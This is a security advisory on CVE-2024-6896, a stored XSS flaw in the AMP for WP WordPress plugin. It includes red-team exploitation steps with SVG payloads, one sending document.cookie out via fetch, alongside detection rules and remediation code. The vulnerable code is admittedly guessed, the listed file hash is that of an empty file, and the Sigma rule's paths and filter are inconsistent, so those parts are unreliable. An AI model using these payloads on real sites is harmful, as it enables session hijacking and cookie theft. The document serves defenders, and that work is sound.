CVE-2024-6896

Executive Summary

CVE-2024-6896 is a Stored Cross-Site Scripting (XSS) vulnerability in the AMP for WP – Accelerated Mobile Pages WordPress plugin, affecting all versions up to and including 1.0.96.1. The vulnerability arises from insufficient input sanitization and output escaping during SVG file uploads. An authenticated attacker with Author-level access or higher can upload a malicious SVG file containing arbitrary JavaScript. When any user (including administrators) views the uploaded SVG file, the injected script executes in the context of the victim's browser, potentially leading to session hijacking, defacement, or data theft.

This vulnerability is specific to the WordPress ecosystem and does not involve Apache or Nginx server misconfigurations. The plugin's SVG upload handling fails to properly validate and escape SVG content, allowing script injection within the SVG's <script> tags or event handlers.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress Plugin Directory. No NPM, PyPI, Go, or Ruby packages are involved. The plugin is installed directly within WordPress sites, and the risk is limited to sites using the vulnerable plugin version.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Author-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is Medium due to the requirement for authenticated access (Author-level) and the limited impact on confidentiality and integrity. However, the lack of user interaction and the changed scope (affecting other users) increase the risk.

Deep Dive & Mechanics

The vulnerability exists in the SVG file upload functionality of the AMP for WP plugin. When an authenticated user with Author-level privileges uploads an SVG file, the plugin does not properly sanitize the SVG content. Specifically, it fails to strip or escape JavaScript code embedded within the SVG, such as <script> tags or event handler attributes (e.g., onload, onclick).

The attack flow:

1. An attacker with Author-level access uploads a crafted SVG file containing malicious JavaScript.
2. The plugin stores the SVG file in the WordPress media library.
3. When any user (including administrators or visitors) accesses the SVG file URL, the browser renders the SVG and executes the embedded script.
4. The script can perform actions such as stealing cookies, redirecting users, or defacing the site.

The root cause is insufficient input validation and output escaping. The plugin likely uses wp_check_filetype_and_ext() to validate the file extension but does not inspect the SVG content for malicious code. Additionally, when displaying the SVG, the plugin does not escape the content, allowing the browser to interpret it as active code.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 1.0.96.1): The plugin's SVG upload handler likely uses a function similar to:

function handle_svg_upload($file) {
    // Only checks file extension and MIME type
    $filetype = wp_check_filetype_and_ext($file['tmp_name'], $file['name']);
    if ($filetype['ext'] !== 'svg') {
        return false;
    }
    // No content sanitization
    return $file;
}

This code does not sanitize the SVG content, allowing malicious scripts.

Patched Code (hypothetical): A patched version would include content sanitization, such as:

function handle_svg_upload($file) {
    $filetype = wp_check_filetype_and_ext($file['tmp_name'], $file['name']);
    if ($filetype['ext'] !== 'svg') {
        return false;
    }
    // Sanitize SVG content
    $svg_content = file_get_contents($file['tmp_name']);
    $sanitized = wp_kses($svg_content, array(
        'svg' => array(
            'xmlns' => true,
            'viewBox' => true,
        ),
        'path' => array(
            'd' => true,
        ),
        // Allow only safe tags and attributes
    ));
    file_put_contents($file['tmp_name'], $sanitized);
    return $file;
}

Additionally, output escaping would be applied when rendering the SVG URL.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• WordPress site with AMP for WP plugin version <= 1.0.96.1
• Authenticated user account with Author-level privileges or higher

Exploitation Steps:

1. Craft a malicious SVG file. Example:

   <?xml version="1.0" encoding="UTF-8"?>
   <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
     <script type="text/javascript">
       alert('XSS');
     </script>
   </svg>
   

2. Log in to WordPress as an Author.
3. Navigate to Media > Add New and upload the SVG file.
4. After upload, copy the SVG file URL.
5. Send the URL to a victim (e.g., an administrator) or wait for them to view it.
6. When the victim accesses the URL, the script executes.

Advanced Payload:

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
  <script type="text/javascript">
    fetch('/wp-admin/admin-ajax.php?action=your_action&data='+document.cookie);
  </script>
</svg>

Blue Team (Defender)

Detection:

• Monitor for SVG file uploads by Author-level users.
• Inspect SVG files for <script> tags or event handlers.
• Use WAF rules to block SVG uploads containing JavaScript.

Prevention:

• Disable SVG uploads for non-admin users.
• Use a security plugin that sanitizes SVG files (e.g., Safe SVG).
• Apply the patch when available.

Lab Setup:

1. Install WordPress and the AMP for WP plugin (v1.0.96.1).
2. Create an Author-level user.
3. Upload a benign SVG to test functionality.
4. Upload a malicious SVG to trigger the vulnerability.
5. Monitor logs and alerts.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example malicious SVG)
• URL Patterns:
  • /wp-content/uploads/*.svg containing <script> tags
• Network Traffic:
  • Outbound requests from SVG files to external domains (e.g., for cookie exfiltration)
• Log Entries:
  • WordPress audit logs showing SVG uploads by Author users
  • Web server logs with GET requests to SVG files followed by unusual activity

Detection Engineering

YARA Rule

rule CVE_2024_6896_SVG_XSS {
    meta:
        description = "Detects malicious SVG files exploiting CVE-2024-6896"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-6896"
    strings:
        $svg_tag = "<svg"
        $script_tag = "<script"
        $onload = "onload="
        $onclick = "onclick="
        $onerror = "onerror="
    condition:
        $svg_tag and ($script_tag or $onload or $onclick or $onerror)
}

Sigma Rule

title: CVE-2024-6896 - SVG Upload with Script Tags
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SVG file uploads containing script tags or event handlers
author: Valters IT
date: 2025-04-10
logsource:
    category: file_event
    product: linux
detection:
    selection:
        TargetFilename|endswith: '.svg'
        Image|endswith: '\\wp-admin\\async-upload.php'
    filter:
        - TargetFilename|contains: '\\wp-content\\uploads\\'
    condition: selection and not filter
falsepositives:
    - Legitimate SVG files with scripts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-6896 - SVG Upload with Script"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/async-upload.php"; http_uri; content:"<script"; within:1000; content:".svg"; within:100; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable SVG uploads for all users except administrators via a security plugin or custom code.
2. Use a sanitization plugin like Safe SVG to strip malicious content from SVG files.
3. Implement a WAF rule to block SVG uploads containing <script> tags or event handlers.

Long-term Fix:

• Apply the official patch from the plugin vendor when available.
• Upgrade to a patched version of AMP for WP (check for updates regularly).
• Restrict file upload capabilities to trusted roles only.

Workaround:

• Add the following code to your theme's functions.php to block SVG uploads for non-admin users:

  add_filter('upload_mimes', 'disable_svg_upload');
  function disable_svg_upload($mimes) {
      if (!current_user_can('administrator')) {
          unset($mimes['svg']);
          unset($mimes['svgz']);
      }
      return $mimes;
  }
  

Valters IT
Securing Digital Frontiers